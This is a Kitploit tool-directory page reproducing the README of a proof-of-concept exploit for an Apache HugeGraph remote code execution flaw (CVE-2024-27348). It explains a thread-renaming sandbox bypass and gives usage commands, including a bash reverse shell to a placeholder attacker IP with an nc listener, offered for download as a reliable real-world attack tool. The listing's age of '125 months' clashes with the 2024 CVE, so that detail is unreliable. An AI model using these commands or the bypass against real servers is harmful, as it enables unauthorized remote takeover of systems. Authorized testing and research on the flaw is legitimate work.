Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-27348-HugeGraph-RCE — Advanced PoC exploit for CVE-2024-27348, achieving reliable RCE in Apache HugeGraph via sandbox bypass and non-blind command execution. | Kitploit
Tools/GitHubGitHub/akelaqe/cve-2024-27348-hugegraph-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubakelaqe/cve-2024-27348-hugegraph-rce

CVE-2024-27348-HugeGraph-RCE

Advanced PoC exploit for CVE-2024-27348, achieving reliable RCE in Apache HugeGraph via sandbox bypass and non-blind command execution.

View Repository
125 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-27348: Apache HugeGraph RCE (Advanced Sandbox Bypass)

Python 3.x Exploit CVE

An advanced, highly reliable Proof of Concept (PoC) exploit for CVE-2024-27348 (Remote Code Execution in Apache HugeGraph Server).

Unlike many public PoCs that execute commands blindly or fail on complex payloads due to Java's Runtime.exec() limitations, this script is designed for reliability in real-world penetration testing scenarios.

⚠️ Disclaimer

For Educational and Authorized Testing Purposes Only. This tool is provided for security researchers, penetration testers, and system administrators to verify the vulnerability in authorized environments. The author is not responsible for any misuse or damage caused by this tool.

✨ Features & Technical Improvements

This exploit improves upon early public PoCs by addressing three critical issues:

  1. The HugeGraph sandbox blocks execution if the calling thread is named or . This payload uses Java Reflection to dynamically rename the execution thread to before triggering the payload, seamlessly evading the security manager.
HugeSecurityManager Sandbox Bypass:
gremlin-server-exec-*
task-worker-*
BypassThread
  • Complex Payload Handling: Instead of Runtime.getRuntime().exec(String), which breaks complex bash commands (like reverse shells) at spaces, this exploit uses ProcessBuilder with a properly formatted List<String>. This allows for the safe execution of complex payloads with quotes and redirections.
  • Full Output Reading (Non-Blind RCE): The script reads the InputStream of the executed process using a Java Scanner and returns the actual output of the command in the JSON HTTP response. You see exactly what the server sees.
  • ⚙️ Requirements

    • Python 3.x
    • requests library

    Install the required dependencies:

    root@kitploit:~
    pip3 install requests
    

    🚀 Usage

    root@kitploit:~
    python3 exploit.py -u <TARGET_URL> -c <COMMAND>
    

    Examples

    1. Basic Command Execution (Reading output):
    root@kitploit:~
    python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "whoami"
    
    1. Spawning a Reverse Shell: Because the payload handles spaces and quotes correctly, you can inject a standard bash reverse shell directly without needing to base64-encode or stage it:
    root@kitploit:~
    # On your attacker machine, start a listener:
    nc -lvnp 4444
    
    # Execute the exploit:
    python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
    

    🔍 Vulnerability Details

    Apache HugeGraph Server exposes a Gremlin API endpoint (/gremlin) that allows users to submit Groovy scripts. Due to insufficient sandboxing in versions prior to patching, an unauthenticated attacker can execute arbitrary operating system commands via Java Reflection.

    Download Tool